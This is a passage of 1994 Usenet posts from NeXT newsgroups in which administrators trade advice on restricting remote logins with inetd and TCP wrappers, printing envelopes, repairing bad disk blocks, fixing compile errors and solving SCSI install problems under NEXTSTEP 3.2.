>provide that service and still allow outgoing services?
Yes, this is very easy. Simply comment out the daemons' lines in
/etc/inetd.conf and kill -1 the inetd process to re-read the conf
file. For more info see inetd(8).
Also check out tcp_wrapper on ftp.cert.org, which might be useful to
you. You can limit connections based on things like domain, etc. (I
keep the lab that I run set so that no one off-campus can telnet
in...it has reduced cracking a LOT)
--
David Lemson (217) 244-1205
University of Illinois Computing & Comm Services Office System Administrator
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: edmtl@alf.uib.no (Thor Legvold)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Re: SUMMARY: NeXT printer and envelopes.
Date: 12 Feb 1994 03:18:38 +0100
Organization: University of Bergen
Message-ID: <2jhe9u$f4t@alf.uib.no>
References: <2j1d9i$hcr@alf.uib.no> <HZSLBE7I@gwdu03.gwdg.de>
In article <HZSLBE7I@gwdu03.gwdg.de>,
Stephan Trebels <trebels@theo-phys.gwdg.de> wrote:
>Thor Legvold (edmtl@alf.uib.no) wrote:
>> Thanks for all the suggestions. The basic consensus is that the
>> NeXT printer does not handle envelopes well...
>
>Sorry, that's not true. There are apps, that handle envelopes
>well like Poste or InTouch or the like. Just because some people
>have found a kludge, and you didn't manage to find a better way,
>doesn't say there is no solution.
>
Once more - the _NeXTprinter_ (not apps, not NeXTStep, but the
HARDWARE itself) does not handle envelopes well. I have received
enough e-mail to verify this. However, I have been trying to
feed the envelopes in top first, not sideways as you suggest -
that may indeed work, and when I find a way to make some app
print rotated text (to match a rotated envelope :-) I'll try
it.
>
>p.s. why didn't you once try one of these ps files from InTouch
>or Poste? You could have analyzed them, and perhaps you would
>have found a real solution. I don't know exactly what's going on,
>but perhaps it's just the boundingbox in the ps file (the paper type
>is still a4.), as I didn't find anything else in the file, and I
>don't have the time to try all possibilities.
Again, this addresses printing 90% rotated PS - I shall look at it
when I get the time, but it does not help the NP to pull an
envelope all the way through. Putting the envelope in sideways
might.
>p.p.s. please don't be too upset, but I don't like this kind of
>postings. You had other info, but you didn't use it, you rather
>posted info, that's wrong :-( Would be terrible if some normal
I'm not upset - I'm posting _my_ experience + what I have been
told and advised by _many_ other users, only one of which was
yourself (who has better experience with NeXTprinter than most :-)
>user of a NL reads your article, and really thinks, that's the only
>way to print envelopes. Sometimes NeXT hardware is strange, but their
>h/w s/w engineers were not lunatic.
I love my NeXT - even if the cube is dead!
>p.p.p.s. No, I did not write Poste, nor do I have any personal
>interest in it. I use it three to four times a year, but that's it.
>And remember, I did *not* say, you should use/buy/... Poste,
>I wanted you to try, what's the contents of a ps file, that prints
>correctly on an envelope.
I'll try it.
Regards,
--
Thor Legvold | This is the strangest life
NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
Norway | edmtl@fiol.uib.no (NeXTmail)
From: jimbo@oingo.umn.edu
Newsgroups: comp.sys.next.sysadmin
Subject: WANTED: Floppy Format/Backup utility
Message-ID: <CL3Awv.F22@news.cis.umn.edu>
Date: 12 Feb 94 02:26:10 GMT
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Twin Cities
I have a stack of floppies that need to be formatted. I need a utility
to do this, a UNIX script would be ok.
Once formatted, I want to archive to them easily.
Anyone have such utilities?
---
--------------------------------------------------------------------
James P. Klett klett@sunrayce.solar.umn.edu
jimbo@oingo.umn.edu (SLIP)
--------------------------------------------------------------------
Slip Slipping' away... NeXT Mail Preferred
--------------------------------------------------------------------
From: klui@corp.hp.com (Ken Lui)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Re: SUMMARY: NeXT printer and envelopes.
Date: 12 Feb 1994 02:57:31 GMT
Organization: Hewlett-Packard Company
Message-ID: <2jhgir$59e@hpscit.sc.hp.com>
References: <2j1d9i$hcr@alf.uib.no> <HZSLBE7I@gwdu03.gwdg.de> <2jhe9u$f4t@alf.uib.no>
In article <2jhe9u$f4t@alf.uib.no>, Thor Legvold <edmtl@alf.uib.no> wrote:
>feed the envelopes in top first, not sideways as you suggest -
>that may indeed work
[...]
>told and advised by _many_ other users, only one of which was
>yourself (who has better experience with NeXTprinter than most :-)
Hmm, I've printed many envelopes using my NeXT LaserPrinter
without incident. I feed it length wise. At work, we have
envelope feeders and they all feed length wise, never top first.
Use an app such as Poste or MindOverMail. Here's another one who
has had great experience with using the NeXT 400dpi LaserPrinter
printing envelopes.
Ken
--
Kenneth K.F. Lui, klui@corp.hp.com 3000 Hanover Street M/S 20BJ
Corporate Financial Systems Palo Alto, CA 94304-1112 USA
Core Application Technologies 1.415.857.3230 Fax 1.415.852.8026
Newsgroups: comp.sys.next.sysadmin
From: twetzel1@gwdu03.gwdg.de (Tim Wetzel )
Subject: Re: Power Down?
Message-ID: <A7WLBBJD@gwdu03.gwdg.de>
Sender: news@gwdu03.gwdg.de (USENET News System)
Organization: GWDG, Goettingen
References: <CKyrqt.1vy@belly.in-berlin.de>
Date: Sat, 12 Feb 1994 03:09:27 GMT
Axel Habermann (kiwi@belly.in-berlin.de) wrote:
: In article <1994Feb7.213440.2415@ornl.gov> woo@polaris.scicntr.ortn.edu
: (J. W. Wooten) writes:
: [...question: how to remove power off from login panel...]
: There's a dwrite available which does the thing you asked for.
: Issue
: dwrite loginwindow PowerOffDisabled Yes
: as root
This disables the buttons, but they are still visible. Some time ago,
someone posted a program to actually remove the buttons (patching
../loginwindow.app/loginwindow).
I tried it, with absolutely no effect (even after rebooting). No
crashes, the buttons were still there and worked.
I suppose it was designed for NS3.1.
Is there a possibility to _remove_ this buttons in 3.2? (Besides
replacing the appropriate TIFF files with transparent ones.)
Timm Wetzel
twetzel1@gwdg.d
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin,comp.sys.next.misc
From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: Re: Problems compiling macutil 2.0b1 on NS3.2
Message-ID: <1994Feb12.022808.4346@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <2jea72$63p@alf.uib.no>
Date: Sat, 12 Feb 1994 02:28:08 GMT
First, a disclaimer:
I have no idea what "macutil" is and I have not tested nor examined
the following code in detail.
Now, about your compilation problem:
The problem is that the compiler can't find the following DIR
structure typedef declaration:
/*
* Definitions for library routines operating on directories.
*/
#if defined(_POSIX_SOURCE) || defined(_NEXT_SOURCE)
typedef struct _dirdesc {
int dd_fd;
long dd_loc;
long dd_size;
/* SUN_VFS */
long dd_bbase;
long dd_entno;
long dd_bsize;
char *dd_buf;
/* SUN_VFS */
/* char dd_buf[DIRBLKSIZ]; SUN_VFS */
} DIR;
#endif /* _POSIX_SOURCE || _NEXT_SOURCE */
so in order for the program to include this:
Create a file in the source directory called "dirent.h" with the
following contents:
#include <sys/dir.h>
#define dirent direct
and in the Makefile, add -I. to the CFLAGS macro so the compiler will
look in the current directory for additional header files. i.e. it
will find the dirent.h file.
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
In article <2jea72$63p@alf.uib.no> edmtl@alf.uib.no (Thor Legvold)
writes:
> Not being fluent in C, I have no idea how to get this to compile
> cleanly (or at all). No smart answers like "type make"... ;-)
>
> Here is where it stopped:
>
> (cd fileio; make CF='-DBSD -DTYPES_H -DDIRENT_H -DNODOT -DLATIN1
-DNOMKDIR')
> cc -O -DBSD -DTYPES_H -DDIRENT_H -DNODOT -DLATIN1 -DNOMKDIR -c
wrfile.c
> cc -O -DBSD -DTYPES_H -DDIRENT_H -DNODOT -DLATIN1 -DNOMKDIR -c
rdfile.c
> rdfile.c:641: undefined type, found `DIR'
> *** Exit 1
> Stop.
> *** Exit 1
> Stop.
>
> The function in question is this:
>
> static void enter_dir()
> {
> DIR *directory;
> struct dirstruct *curentry;
> FILE *fd;
> int n, j, namlen;
> int listsize, cursize;
> char *filetable;
> filelist *new_files;
>
>
> I tried on a SunOS 4.1.3 system, and it reported no errors
> (well, not here anyway :-)
>
> Please e-mail suggestions.
>
> Regards,
> --
> Thor Legvold | This is the strangest life
> NorNeXT User Group leader | I've ever known...
> University of Bergen | - Jim Morrison, The Doors
> Norway | edmtl@fiol.uib.no (NeXTmail)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.misc
From: wfischer@bio.indiana.edu (Will Fischer)
Subject: Re: SUMMARY: NeXT printer and envelopes.
Message-ID: <CL3HJ8.Exx@usenet.ucs.indiana.edu>
Followup-To: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.misc
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Biology, Indiana University - Bloomington
References: <2jhgir$59e@hpscit.sc.hp.com>
Date: Sat, 12 Feb 1994 04:52:20 GMT
Another data point: I have printed many, many envelopes in my NeXT
laser printer: I've used Poste, InTouch, WriteNow, and a nifty perl
script name of "envelope" (courtesy of Andy Rabagliati, Dave Buck and
Todd Merriman).
I've only had two problems: 1, an occasional failure of the envelope
to feed in (giving a "paper jammed" message); 2, sometimes a full sheet
from the tray will be printed instead of the envelope.
I always use manual feed, and put the envelope in with the long axis
parallel to the paper path. For WriteNow, I set the paper size to about
1 inch taller than the envelope, in "Landscape" mode, since the printer
won't print less than 1/4 inch from the edge of the page (software
issue).
-------------- <-- Virtual page (from Page Layout - "Landscape" mode)
|____________|
| | <-- Actual envelope size
| |
|____________|
| |
--------------
Perhaps (I hesitate to suggest this) there is something mechanically
wrong with your printer, or is it that you are trying to print envelopes in
"Portrait" mode?
I usually do put a _small_ slip of paper between the flap and the
envelope, just to keep the darn thing from getting sealed.
--
Will Fischer
wfischer@indiana.edu
(Grad Student)
Department of Biology "So much time, and so little to do!
Indiana University Wait. Strike that. Reverse it.
Bloomington, Indiana 47401 USA Thank you."
-- Willy Wonka
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.misc
Subject: Re: SerialDriver screw up -- HELP!
Date: 10 Feb 1994 23:07:37 GMT
Organization: Palumbian Research Labs
Sender: mow@marsu (Markus Wenzel)
Distribution: world
Message-ID: <2jeenp$85@marsu.tynet.sub.org>
References: <1994Feb8.172745.14622@il.us.swissbank.com>
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In article <1994Feb8.172745.14622@il.us.swissbank.com>, tmeyer@il.us.swissbank.com (Tom Meyer) writes:
> Configuring Device Drivers
> PCPointerProbe: mouseInit failure
> Using default table for BusMouse
> - IoProbeDriver: No Such Device BusMouse unit 0
> Using Default table for SerialPorts
> (it just hangs here)
>
> Any suggestions ?? If I can log into my machine remotely, is there a way
> to reconfigure the machine from the command line? Can I boot off the CD
> ROM .If so, what is the command to do so from the 'boot:' prompt?? (yeah,
> I know, rtfm)
Boot in single user mode (boot: -s), mount the NeXTSTEP CD manually,
copy back /usr/Devices/* from CD and reboot with config=Default.
Be sure to remove all old Instance?.table files.
Regards,
Markus.
--
Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Veni, vidi, NeXTSTEPi.
From: csmith@blackplague.gmu.edu (Christian Smith)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Disabling RLOGIN,TELNET,FTP from remote access.
Date: 9 Feb 1994 14:06:29 GMT
Organization: George Mason University, Fairfax, Virginia, USA
Distribution: na
Message-ID: <2jaql5$4rc@portal.gmu.edu>
References: <1994Feb8.233045.18323@serval.net.wsu.edu>
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John L. Burke (jburke@bodacious.csc.wsu.edu) wrote:
: We have a lab of NeXTs that we want to disable remote access to. ie, we
: don't want anyone to be able to rlogin, telnet or ftp to these machines.
: Is there an easy way to do this? Can I just disable the daemons that
: provide that service and still allow outgoing services?
: Thanks
Yes, if you disable the services, i.e. telnetd, rlogind, ftpd, etc...
this will do the job. The services are not required to provide outgoing
service, only incoming. However, there are other ways you can set up a
secure lab without shooting yourself in the foot so much. Install
TCP wrapper and use this to control/restrict what machine get access to what
ports on your lab machines. For example, you could then allow access from
the other machines in the lab, and from a remote machine that you might
want to connect to the lab from to do admin work if necessary.
Certainly what you suggested will work, but you might find it limiting you
more than you want it to.
--
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aka Blackplague
PGP Public Key available by finger or request.
From: bubi@cs.tu-berlin.de (Burghard W. V. Britzke)
Newsgroups: comp.sys.next.sysadmin
Subject: name not checked in
Date: 12 Feb 1994 09:42:14 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <2ji89m$ms7@news.cs.tu-berlin.de>
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After patching my Icon.app it does not launch properly
At the console the following log-messages appears:
Feb 12 10:21:54 charmides Icon[169]: Pasteboard lookup failed on host
charmides: (Netnameserver: name not checked in)
Feb 12 10:21:56 charmides last message repeated 12 times
Feb 12 10:21:56 charmides Icon[169]: Invalid default font name:
Helvetica
What does that mean?
From: cs438@cleveland.Freenet.Edu (Denis Lafont)
Newsgroups: comp.sys.next.sysadmin
Subject: URGENT HELP NEEDED: Adding external exabyte SCSI device....
Date: 12 Feb 1994 16:38:26 GMT
Organization: Case Western Reserve University, Cleveland, Ohio (USA)
Message-ID: <2jj0m2$jvu@usenet.INS.CWRU.Edu>
Hello,
I must configure a NSFIP machine for an important demo.
This machine is a unlabeled machine, which usually behave quite good.
I want to add an external scsi device (Exabyte).
The SCSI PC adaptor is a Adaptec 1542c. I read NeXTanswers and RTFM...
When I connect the Exabyte,
the machine stops, at boot time, when identifying SCSI devices....
I suppose it is not a NS problem, but a hardware config one..
Of course I'va tried to terminate the exabyte, and it makes bno
differences...
The config is like this:
ID 0: IBM 2Go disk (internal)
ID 1: Archive Viper 150Mo (internal)
ID 2: Seagate 1,4Go (internal)
ID 3: CD ROM sony cdu 561 (internal)
The CDROM is the only one to be terminated, it is the last device.
I have tried to install/deinstall the termination on the adapted card,
with no effect (when the termiination is disable, no SCSI device
are recognize, and the boot process stops..)
Any clue is welcomed.......
Thanx,
Denis
--
--------------------------
Denis Lafont.....cs438@cleveland.freenet.edu
Tel: (+33) (1) 43.45.99.67
--------------------------
From: cs438@cleveland.Freenet.Edu (Denis Lafont)
Newsgroups: comp.sys.next.sysadmin
Subject: fsck problem and tape read problem
Date: 12 Feb 1994 16:43:17 GMT
Organization: Case Western Reserve University, Cleveland, Ohio (USA)
Message-ID: <2jj0v5$khe@usenet.INS.CWRU.Edu>
Hello,
And two new problems on the PC world.......;-(
1- One of my internal scsi crashed...fsck can not repair
(both automatic and manual).
The blocks unreadable are 1,2,5,6,7,8,........etc...
Any solutio except reformat?
2- the archive viper streamer we use has some stange behaviour:
We can write stuff on it, but the is always an I/O error on the
tape wile reading...
Any clue?
Thanks,
Denis
--
--------------------------
Denis Lafont.....cs438@cleveland.freenet.edu
Tel: (+33) (1) 43.45.99.67
--------------------------
Newsgroups: comp.sys.next.sysadmin
From: kosmatoo@JSP.UMontreal.CA (Kosmatos Odisseas)
Subject: Re: Power Down?
Message-ID: <CL4Dy0.3D3@cc.umontreal.ca>
Sender: news@cc.umontreal.ca (Administration de Cnews)
Organization: Universite de Montreal
References: <1994Feb7.213440.2415@ornl.gov> <CKyrqt.1vy@belly.in-berlin.de>
Date: Sat, 12 Feb 1994 16:32:22 GMT
[...]
: There's a dwrite available which does the thing you asked for.
: Issue
: dwrite loginwindow PowerOffDisabled Yes
: as root
[...]
I've had my NeXT for a month and I still haven't found a list
of "dwrite"'s one can do. Is there a fairly decent list floating
around somewhere?
--
Odisseas Kosmatos
kosmatoo@jsp.umontreal.ca
(514)-365-3794
...I knew I'd love my next computer when I entered emacs, hit the
backspace key, and it actually did a backspace instead of bringing up
the help menu...
From: upbundal@uxa.ecn.bgu.edu (Pred Bundalo)
Newsgroups: comp.sys.next.sysadmin
Subject: bad blocks
Date: 12 Feb 1994 12:28:17 -0600
Organization: Educational Computing Network, Illinois USA
Message-ID: <2jj741$53i@uxa.ecn.bgu.edu>
I just discovered that my external 1.2GB drive, which serves as my root
filesystem has 4 new bad blocks. fsck wasn't run in a long time since
the filesystem was always marked clean at boot time. Anyway, I set
fsck on the drive and it cleaned it up, somewhat, but is unable to do
anything about the bad blocks. It seems to want to go into an endless
"run fsck manually" loop: I run fsck, it reports the four bad blocks
(several times), then finishes and says that the filesystem may not be
clean and that I should run fsck manually (again, and again, etc.).
I looked through Librarian and the man pages for anything on SCSI and
couldn't find anything that might "fix" these bad blocks (mark them
as used, or "know" about them by adding them to the list of bad blocks
found when the disk was first initialized.
I'm currently faced with backing everything up to tape, taking the
system to work (ugh) and reinstalling NS, then restoring my local
customizations.
Someone please tell me all this is unecessary and that there's such a
program out there.
Encore's UMAX has things called badsect and reassign:
badsect (8) - create files to contain bad sectors
reassign (8) - reassign a bad block on a disk
Regards,
Pred Bundalo
pred@iitmax.acc.iit.edu
--
Predrag S. Bundalo
Illinois Institute of Technology (pred@iitmax.acc.iit.edu)
From: sears@uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: bad blocks
Date: 12 Feb 1994 19:33:25 GMT
Organization: University of Houston
Message-ID: <2jjau5$803@menudo.uh.edu>
References: <2jj741$53i@uxa.ecn.bgu.edu>
In article <2jj741$53i@uxa.ecn.bgu.edu> upbundal@uxa.ecn.bgu.edu (Pred
Bundalo) writes:
#I just discovered that my external 1.2GB drive, which serves as my root
#filesystem has 4 new bad blocks. fsck wasn't run in a long time since
#the filesystem was always marked clean at boot time. Anyway, I set
#fsck on the drive and it cleaned it up, somewhat, but is unable to do
#anything about the bad blocks. It seems to want to go into an endless
#"run fsck manually" loop: I run fsck, it reports the four bad blocks
#(several times), then finishes and says that the filesystem may not be
#clean and that I should run fsck manually (again, and again, etc.).
#
#
#Someone please tell me all this is unecessary and that there's such a
#program out there.
#
Ok. It is unnecessary :-)
#Encore's UMAX has things called badsect and reassign:
#
#badsect (8) - create files to contain bad sectors
#reassign (8) - reassign a bad block on a disk
#
The equivalent command under NEXTSTEP is /usr/etc/reasb. It even has a man
page....
#Predrag S. Bundalo
#Illinois Institute of Technology (pred@iitmax.acc.iit.edu)
--
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>>> SSI Diving Certification #755020059 <<<
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Newsgroups: comp.sys.next.sysadmin
From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: Sendmail 8.6.5 user database / Berkeley db 1.73 under 3.2?
Message-ID: <1994Feb12.180657.2630@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
Date: Sat, 12 Feb 1994 18:06:57 GMT
If you have successfully got the user database working with sendmail
8.6.5 or have compiled the new Berkeley "db" for NEXTSTEP 3.2, I'd
like to hear from you and what you did to port it.
The new Berkeley "db" is used by sendmail 8.6.5 for the user
database. The USERDB define is only used when NEWDB is defined.
Also, can I use the GNU "db" instead? Does it work?
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
From: upbundal@uxa.ecn.bgu.edu (Pred Bundalo)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: bad blocks
Date: 12 Feb 1994 18:07:45 -0600
Organization: Educational Computing Network, Illinois USA
Message-ID: <2jjr0h$dg8@uxa.ecn.bgu.edu>
References: <2jj741$53i@uxa.ecn.bgu.edu> <2jjau5$803@menudo.uh.edu>
In article <2jjau5$803@menudo.uh.edu>, Paul S. Sears <sears@uh.edu> wrote:
>
>The equivalent command under NEXTSTEP is /usr/etc/reasb. It even has a man
>page....
Sigh. Although my SCSI drive does implement the Reassign Block command
(I tested it on a good block), it refuses to reassign BAD blocks:
# /usr/etc/reasb /dev/rsd0a 1608514
...Reassigning block 1608514(d)
Target 0: MEDIA ERROR; block 188b42H retry 1
Target 0: MEDIA ERROR; block 188b42H retry 2
Target 0: MEDIA ERROR; block 188b42H retry 3
Target 0: MEDIA ERROR; block 188b42H retry 4
Target 0: MEDIA ERROR; block 188b42H retry 5
Target 0: MEDIA ERROR; block 188b42H retry 6
Target 0: MEDIA ERROR; block 188b42H retry 7
Target 0: MEDIA ERROR; block 188b42H retry 8
Target 0: MEDIA ERROR; block 188b42H retry 9
sd0 (0,0): sense key:0x3 additional sense code:0x11
SCSI Block in error = 1608514; Partition a F.S. sector 804097
sr_io_status = 0x2
sense key = 03H sense code = 11H
SCSI status = 02H
***REASSIGN BLOCK COMMAND FAILED
Any suggestions? It seems rather odd that it's complaining about
media errors when trying to reassign a block. I mean, if the block
was devoid of media errors, I wouldn't have to reassign it, right? :-)
Thanks in advance,
Pred Bundalo
--
Predrag S. Bundalo
Illinois Institute of Technology (pred@iitmax.acc.iit.edu)
Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.sysadmin,de.comp.sys.next
From: Rene Kulschewski <rene@rkt.in-berlin.de>
Subject: How to access 2. NSI Partition ??
Message-ID: <CL4trH.8B@rkt.in-berlin.de>
Sender: rene@rkt.in-berlin.de (Rene Kulschewski)
Organization: Home in Berlin
Date: Sat, 12 Feb 1994 22:14:05 GMT
Hi *,
i would like to make a filesystem on a second NeXTSTEP 3.2 partition.
This is the fdisk-output:
Type Start Size Status
--------------------------------------------
DOS, 16 bit FAT 0 150 -
NEXTSTEP 150 700 Active
Extended DOS 850 80 -
NEXTSTEP 930 84 - <- 2. Part.
When i now try "disk -l Part_2 -i /dev/rsd0b" [or c,d,e] i get:
/dev/rsd0b: No such device or address
What am i doing wrong ??
Is NSI unable to handle more as one partition ??
Thanx
Rene
--
____________________________________________________________________
Rene Kulschewski <rene@rkt.in-berlin.de> NeXTMail accepted.
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Rene Kulschewski <rene@rkt.in-berlin.de> NeXTMail accepted.
From: vamp@gothic.acs.csulb.edu (VampLestat)
Newsgroups: comp.unix.questions,comp.unix.misc,comp.sys.mac.apps,comp.sys.next.sysadmin
Subject: Re: WANTED:Un*x/NeXT program for unpacking Macintosh archives.
Date: 13 Feb 1994 03:17:04 GMT
Organization: Me, organized? You gotta be kidding.
Message-ID: <2jk63g$qn5@garuda.csulb.edu>
References: <2jb9l2$3v4@alf.uib.no>
And Thor Legvold<edmtl@alf.uib.no> spake unto the masses:
>I have downloaded some fonts I'd like to use on my NeXT, but have
>been unsuccesful in finding Unix code to unpack these archives.
>
>The format is <filename>.cpt.hqx
>
>I have Opener.app (for NeXT) which can unpack the hqx format, but
>it chokes when it gets to the cpt part. This is beginning to
>be a lot of hassle for a few simple fonts...
The fonts are probably Macintosh fonts, and so they have been compresses
with Compact Pro, which gived the .cpt extension. You can get Compact Pro
from most any Mac archive, including Sumex-aim.stanford.edu. Of course
this requires that you have a mac to uncompress it on...
--
_O_ Ryan L. Watkins pass the crystal, spread the tarot
| vamp@csulb.edu in illusion comfort lies
| finger vamp@gothic.acs.csulb.edu the safest way, the strait and narrow
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Newsgroups: comp.sys.next.sysadmin
From: westes@netcom.com (Will Estes)
Subject: AHA Timeout repeats during install
Message-ID: <westesCL5Axr.KoD@netcom.com>
Organization: Mail Group
Date: Sun, 13 Feb 1994 04:25:03 GMT
I have a BusLogic 747S controller that I am using to install NeXSTEP
Intel 3.2. I'm mounting the Toshiba CD-ROM off of Target 6:0 on the
SCSI chain.
When I boot from the install disk, it lotads the Adaptec driver, and
after finding the unformatted hard drive on Target 0:0 without any
problem, it tries to make the CD-ROM sd1. I get the following
sequence:
AHA Timeout
Resetting SCSI Bus...
AHA Timeout
Resetting SCSI Bus...
AHA Timeout
Resetting SCSI Bus...
AHA Timeout
Resetting SCSI Bus...
AHA Timeout
Resetting SCSI Bus...
sd1: Disk Unformatted
...
root on sd1
rootdev 608, howto 0
kernel panic....
What's curious is that this part of the install is executing from
the CD-ROM. What does the above sequence mean? Is the install
trying to issue a SCSI command to the CD-ROM drive and not getting
any response? Note that I originally was able to install on this
same system using an Adaptec 1542C and the same CD-ROM drive.
Any help is appreciated.
--
Will Estes Internet: westes@netcom.com
Newsgroups: comp.sys.next.sysadmin
From: charles@oneworld.wa.com
Subject: NSI Install and Adaptec 1542C
Message-ID: <1994Feb13.085200.9182@oneworld.wa.com>
Summary: Install Help
Keywords: Adaptec NEXTSTEP NEC CD-84
Organization: OneWorld Enterprises/OneWorld Computing Resources
Date: Sun, 13 Feb 1994 08:52:00 GMT
Greetings,
I've been trying without success to install NEXTSTEP 3.2 on a 486 machine
with the following specs:
486-66DX2
Vega Motherboard running AMI symphony Bios
16mb of RAM 30pin 70ns
256k cache
2 IDE floppies, 1 IDE - QIC tape
2 serial/1parrallel/1game port/card
1gig Toshiba SCSI hard drive
VLB Diamond Stealth video
Adaptec 1542C SCSI card.
NEC CD-84 attached to the external SCSI port of the Adaptec.
I've followed the nextanswers guides re Adaptec settings exactly however,
when I start the install, it goes all the way through until it resets the
scsi bus. It registers the hard drive but then it usually gives "AHA
timeout" when trying to register the CD-rom.
How do I get NSI to recognize this drive? Also, has anyone worked with a
NEC cd-37? I own a 37 but was borrowing the '84.
Would appreciate any help on this.
Thanks!
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| Charles W. Cooper II \ \ \__ _____
| Charles@oneworld.wa.com \___________\ \/_______\___\_____________
| / ( /_/ ..................... `-.
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From: csmith@blackplague.gmu.edu (Christian Smith)
Newsgroups: comp.sys.next.sysadmin
Subject: AppleTalk under 3.2
Date: 10 Feb 1994 14:43:01 GMT
Organization: George Mason University, Fairfax, Virginia, USA
Message-ID: <2jdh5l$j4u@portal.gmu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
I have used my old 3.0 CDRom to install AppleTalk onto a machine running 3.2.
I have also replaced the 3.2 PrintManager.app with the one from the 3.0 disk.
I can now open PrintManager, select AppleTalk as my Communication, browse
the network for an Apple Laserwriter, select the one I want, and configure
it as my printer. Now comes the problem. Print jobs sent to the printer
just disappear. No errors, no printout, no nothing. If I pull up the print
queue window, hit Pause and then send a print job, the print job enters the
queue and stays there until I hit Continue at which point it goes to
Printing and then "No active printing" but it never shows up at the printer.
Yes, I do have the proper printer selected, and the printer works fine
when I print from a Mac on the AppleTalk network. Anybody have any ideas
on what is going wrong?
--
Christian Smith
aka Blackplague
PGP Public Key available by finger or request.
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
From: mgb@moksha.uucp (Michael Branton)
Subject: freezing windows
Message-ID: <CL52GK.6zC@moksha.uucp>
Sender: mgb@moksha.uucp (Michael Branton)
Organization: Totally Disorganized
Date: Sun, 13 Feb 1994 01:21:56 GMT
Here's a strange one: On a NeXT turbo slab, we experience all windows freezing
their positions. You can launch an app, but once it opens a window, you can't
move it. Two entries in the message log seem like they might have some
bearing on the problem. One occurs during boot, the other within 30 seconds
after boot complete :
.
.
.
Feb 12 17:22:59 ferrari mach: Disk Label: swapdisk
Feb 12 17:22:59 ferrari mach: Disk Capacity 247MB, Device Block 1024 bytes
Feb 12 17:22:59 ferrari mach: sc: MESSAGE REJECT RECEIVED
Feb 12 17:22:59 ferrari last message repeated 20 times
Feb 12 17:22:59 ferrari mach: Generic SCSI Device as sg0 at sc0 target 7 lun 7
.
.
.
Feb 12 17:23:53 ferrari loginwindow[313]: loginwindow: could not find
WindowServ-er port!
At the same time, we're getting printer errors:
Feb 12 17:45:26 ferrari npd[187]: PrintSpooler couldn't stat
/usr/spool/NeXT/MIG: No such file or directory
Feb 12 17:48:01 ferrari Server:MIG[1718]: Driver class not set in printer
entry
Feb 12 17:50:46 ferrari loginwindow[526]: loginwindow: Workspace exited ts 0
cd 0 rc 0 sv 0 ss 0.
/usr/spool/NeXT/MIG is there, as one can cd to the directory and look around.
Anybody seen anything like this, particularly the frozen window positions ?
---
-Michael
mgb@thoth.stetson.edu
moksha!mgb@bliss.stetson.edu
NeXT mail welcome !
--
-Michael
mgb@thoth.stetson.edu
--
-Michael
From: posey@cs.oberlin.edu (D. Scott Posey)
Newsgroups: comp.sys.next.sysadmin
Subject: SLIP, netcom, freeze/burn help help help *boing*
Date: 13 Feb 1994 15:12:16 GMT
Organization: Oberlin College Computer Science
Distribution: world
Message-ID: <2jlg0g$8e3@news.cc.oberlin.edu>
I'm a neophyte setting up SLIP. I've got partial functionality (I'm
rlogined now, used a name and not an ip addr) but there's still some
major weirdness going on.
I get this lovely in my console 2-15 minutes after slip is up:
Feb 13 05:38:04 rasputin lookupd[98]: netinfo sleeping: RPC: Timed out
after which, things get weird. It looks as if you can't create certain
kinds of sub-processes: WSMgr won't start anything and hangs, Terminal
hangs if you initiate a new shell. Shell commands involving creating
new shells (like su) hang as well. This is light, modern, NS 3.2/Moto.
Other Qs (directions to appropriate docs, esp RFCs, appreciated):
How do I set up mail?
(What is an SMTP server (got an ip addr for one)?)
(What is POP3?)
(What is NNTP?)
You can't use SLIP if your SLIP server expects CSLIP, can you?
I'm using the L. Mamokous/Transys DialupIP, so if you have scripts, config
files (resov.conf is the only one outside the dialup package I've messed
with so far), or other goodies, I'd be insanely grateful. If you're
SLIPping into NETCOM, that would be purrr-fect.
skot@netcom.com (posey@occs.cs.oberlin.edu ok, too)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: mark@cyantic.com (Mark T. Dornfeld)
Subject: Sun's pcnfsd compile errors
Organization: CYANTIC Systems
Date: Sun, 13 Feb 1994 16:04:36 GMT
Message-ID: <1994Feb13.160436.28844@cyantic.com>
Has anyone successfully compiled Sun's pcnfsd v.2 on Next 3.2? I have basic
NFS working, but printer sharing requires pcnfsd for proper authentication.
I have just tried to compile the source from PC-NFS 5.0 and it doesn't like
this:
Line 527: static struct sigaction old_action;
Line 528: static struct sigaction new_action;
Line 551: new_action.sa_handler = myhandler;
Line 552: sigemptyset(&(new_action.sa_mask));
Line 553: new_action.sa_flags = 0;
Below are the error messages from gcc.
pcnfsd_misc.c:527: storage size of `old_action' isn't known
pcnfsd_misc.c:528: storage size of `new_action' isn't known
pcnfsd_misc.c: In function `start_watchdog':
pcnfsd_misc.c:551: invalid use of undefined type `struct sigaction'
pcnfsd_misc.c:552: invalid use of undefined type `struct sigaction'
